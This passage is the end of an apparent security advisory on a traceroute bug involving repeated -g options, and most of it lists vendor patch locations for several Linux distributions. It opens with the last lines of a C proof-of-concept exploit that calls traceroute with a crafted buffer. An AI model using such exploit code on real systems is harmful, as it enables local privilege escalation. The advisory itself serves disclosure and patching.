	    execl(prog,prog,prog,"-g",buf,"-g 1","127.0.0.1", NULL);

	    return 0;
    }

Solution

    Safe are: LBNL 1.4a7 and  RedHat7.0 traceroute (1.4a5 + a  patch).
    RedHat-7.0 includes a patch to get a raw socket then drop privs at
    startup.   Hopefully this  will be  hoovered up  into the upstream
    traceroute source  tarball. It  does not  appear to  be in version
    1.4a7.

    For Caldera Linux:

        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/traceroute-1.4a5-9.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS/traceroute-1.4a5-9.src.rpm
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/traceroute-1.4a5-9.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS/traceroute-1.4a5-9.src.rpm
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/traceroute-1.4a5-9.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS/traceroute-1.4a5-9.src.rpm

    For Conectiva Linux:

        ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/traceroute-1.4a7-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/traceroute-1.4a7-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/traceroute-1.4a7-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/traceroute-1.4a7-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/traceroute-1.4a7-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/traceroute-1.4a7-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/traceroute-1.4a7-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/traceroute-1.4a7-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/traceroute-1.4a7-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/i386/traceroute-1.4a7-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/traceroute-1.4a7-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.1/i386/traceroute-1.4a7-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/traceroute-1.4a7-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/traceroute-1.4a7-2cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/traceroute-1.4a7-2cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/traceroute-1.4a7-2cl.i386.rpm

    For Linux-Mandrake:

        Linux-Mandrake 6.0: 6.0/RPMS/traceroute-1.4a5-12mdk.i586.rpm
                            6.0/SRPMS/traceroute-1.4a5-12mdk.src.rpm
        Linux-Mandrake 6.1: 6.1/RPMS/traceroute-1.4a5-12mdk.i586.rpm
                            6.1/SRPMS/traceroute-1.4a5-12mdk.src.rpm
        Linux-Mandrake 7.0: 7.0/RPMS/traceroute-1.4a5-12mdk.i586.rpm
                            7.0/SRPMS/traceroute-1.4a5-12mdk.src.rpm
        Linux-Mandrake 7.1: 7.1/RPMS/traceroute-1.4a5-12mdk.i586.rpm
                            7.1/SRPMS/traceroute-1.4a5-12mdk.src.rpm

    For RedHat:

        ftp://updates.redhat.com/5.2/alpha/traceroute-1.4a5-24.5x.alpha.rpm
        ftp://updates.redhat.com/5.2/sparc/traceroute-1.4a5-24.5x.sparc.rpm
        ftp://updates.redhat.com/5.2/i386/traceroute-1.4a5-24.5x.i386.rpm
        ftp://updates.redhat.com/5.2/SRPMS/traceroute-1.4a5-24.5x.src.rpm
        ftp://updates.redhat.com/6.2/alpha/traceroute-1.4a5-24.6x.alpha.rpm
        ftp://updates.redhat.com/6.2/sparc/traceroute-1.4a5-24.6x.sparc.rpm
        ftp://updates.redhat.com/6.2/i386/traceroute-1.4a5-24.6x.i386.rpm
        ftp://updates.redhat.com/6.2/SRPMS/traceroute-1.4a5-24.6x.src.rpm

    For Debian:

        http://security.debian.org/dists/potato/updates/main/source/traceroute_1.4a5-3.diff.gz
        http://security.debian.org/dists/potato/updates/main/source/traceroute_1.4a5-3.dsc
        http://security.debian.org/dists/potato/updates/main/source/traceroute_1.4a5.orig.tar.gz
        http://security.debian.org/dists/potato/updates/main/binary-alpha/traceroute_1.4a5-3_alpha.deb
        http://security.debian.org/dists/potato/updates/main/binary-arm/traceroute_1.4a5-3_arm.deb
        http://security.debian.org/dists/potato/updates/main/binary-i386/traceroute_1.4a5-3_i386.deb
        http://security.debian.org/dists/potato/updates/main/binary-m68k/traceroute_1.4a5-3_m68k.deb
        http://security.debian.org/dists/potato/updates/main/binary-powerpc/traceroute_1.4a5-3_powerpc.deb
        http://security.debian.org/dists/potato/updates/main/binary-sparc/traceroute_1.4a5-3_sparc.deb

    For SuSE Linux:

        SuSE-7.0: ftp://ftp.suse.com/pub/suse/i386/update/7.0/a1/nkitb-2000.10.4-0.i386.rpm
                  ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/nkitb-2000.10.4-0.src.rpm
                  ftp://ftp.suse.com/pub/suse/sparc/update/7.0/a1/nkitb-2000.10.4-0.sparc.rpm
                  ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/nkitb-2000.10.4-0.src.rpm
                  ftp://ftp.suse.com/pub/suse/ppc/update/7.0/a1/nkitb-2000.10.5-0.ppc.rpm
                  ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/nkitb-2000.10.5-0.src.rpm

        SuSE-6.4: ftp://ftp.suse.com/pub/suse/i386/update/6.4/a1/nkitb-2000.10.4-0.i386.rpm
                  ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/nkitb-2000.10.4-0.src.rpm
                  ftp://ftp.suse.com/pub/suse/axp/update/6.4/a1/nkitb-2000.10.4-0.alpha.rpm
                  ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/nkitb-2000.10.4-0.src.rpm
                  ftp://ftp.suse.com/pub/suse/ppc/update/6.4/a1/nkitb-2000.10.4-0.ppc.rpm
                  ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/nkitb-2000.10.4-0.src.rpm

        SuSE-6.3: ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/nkita-2000.10.4-0.i386.rpm
                  ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/nkita-2000.10.4-0.src.rpm
                  ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/nkita-2000.10.4-0.alpha.rpm
                  ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/nkita-2000.10.4-0.src.rpm

        SuSE-6.2: ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/nkita-2000.10.4-0.i386.rpm
                  ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/nkita-2000.10.4-0.src.rpm

        SuSE-6.1: ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/nkita-2000.10.4-0.i386.rpm
                  ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/nkita-2000.10.4-0.src.rpm

        SuSE-6.0: Please use the update packages from the 6.1 distribution.

    For ImmunixOS:

        http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/traceroute-1.4a5-24.6x_StackGuard.i386.rpm
        http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/traceroute-1.4a5-24.6x_StackGuard.src.rpm

    For TurboLinux:

        ftp://ftp.turbolinux.com/pub/updates/6.0/traceroute-1.4a7-2.i386.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/traceroute-1.4a7-2.src.rpm

    Even though Solaris 7 and later include LBNL traceroute, the first
    version  of  the  source  checked  into  SCCS  has  the  following
    interesting comment (this branch dates from 98/01/12):

                /*
                 * LBNL bug fixed: used to call savestr(), which was buggy
                 * it gives bus error when more than one -g used
                 * savestr.h removed
                 */

    The code was completely  removed when IPv6 support  was integrated
    much later.

    FreeBSD, SuSE, HpUX, OpenBSD, Slackware are safe.


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